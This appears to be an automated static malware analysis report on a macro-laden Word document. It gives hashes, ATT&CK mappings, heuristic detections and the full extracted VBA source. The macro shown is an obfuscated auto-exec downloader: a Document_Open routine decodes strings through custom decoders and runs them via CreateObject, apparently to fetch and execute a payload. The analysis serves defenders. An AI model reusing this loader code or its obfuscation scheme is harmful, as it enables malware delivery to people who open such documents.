Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 47250c4822f7961b…

MALICIOUS

Office (OOXML)

152.1 KB Created: 2020-04-26 17:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-10
MD5: e75e9b25207f4cf4a5a3ef90be1063b5 SHA-1: 15eee2939b1b15dad78f3a91f4998f24a63f2fa2 SHA-256: 47250c4822f7961b35d53d97982e7366f6e8a58fd9d8a1a042c671e8d2c593f0
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a heavily obfuscated VBA macro that executes upon opening the document. The macro utilizes CreateObject to run a dynamically constructed command, likely to download and execute a secondary payload. The presence of obfuscated auto-executing VBA code and the use of CreateObject strongly suggest a malicious downloader.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2117 bytes
SHA-256: 634664cb759a1d146c123317f3b32618124d2d43e4a9c1343b524021ceb3a8d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim dsadsa As String
Public Sub Document_Open()
dsadsa = asdsa(sadsds("ë|ì/>ë/ ~†í�‚ðí{{=í‡í/<í‡í넃ñ~} ~{ñëˆ/êˆ é‚‚/"))
dsadsa = dsadsa + asdsa(sadsds("<ß/Öñììí}/<ë~||é}ì/û}í†<~êòíëƒ/Ûˆ‚ƒí|=]íƒ=ß"))
dsadsa = dsadsa + asdsa(sadsds("íêÑ{ñí}ƒü=Ò~†}{~éìÔñ{íûú"))
dsadsa = dsadsa + asdsa(sadsds("ðƒƒ È>>Ã=À?Ä=ÀÀÂ=ÀÂ?>‚„ í�ñ}‚ƒé{{>ƒ| =…ê‚ú"))
dsadsa = dsadsa + asdsa(sadsds(";÷í}…ÈÜí| :úä}í†îñ{í=…ê‚úüÉû]í†<^êòíëƒ/<ë~|/Ûðí"))
dsadsa = dsadsa + asdsa(sadsds("{{=Ï  {ñëéƒñ~}ü=Ûðí{{Ó‡í넃íû÷í}…ÈÜí| :úä}í†îñ{í=…ê‚úü"))
Set jKGhLA = CreateObject(asdsa(sadsds("ß‚ë�ñ ƒ=Ûðí{{")))
jKGhLA.Run (dsadsa)
End Sub
 Public Function asdsa(strInput As String)
        Dim n As Integer, i As Integer
        n = 15
        For i = 1 To Len(strInput)
            Mid(strInput, i, 1) = Chr(Asc(Mid(strInput, i, 1)) - n)
        Next i
        asdsa = strInput
    End Function
    Public Function sadsds(ByVal icText As String) As String
        Dim icLen As Integer
        Dim icNewText As String
        Dim icChar As String
        icChar = ""
        icLen = Len(icText)
        For i = 1 To icLen
            icChar = Mid(icText, i, 1)
            Select Case Asc(icChar)
                Case 192 To 217
                    icChar = Chr(Asc(icChar) - 127)
                Case 218 To 243
                    icChar = Chr(Asc(icChar) - 121)
                Case 244 To 253
                    icChar = Chr(Asc(icChar) - 196)
                Case 32
                    icChar = Chr(32)
            End Select
            icNewText = icNewText + icChar
        Next
        sadsds = icNewText
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11264 bytes
SHA-256: e3addd0c513d038169db08e10d4e01868dbee0a0794ffc0c1e446de787680821

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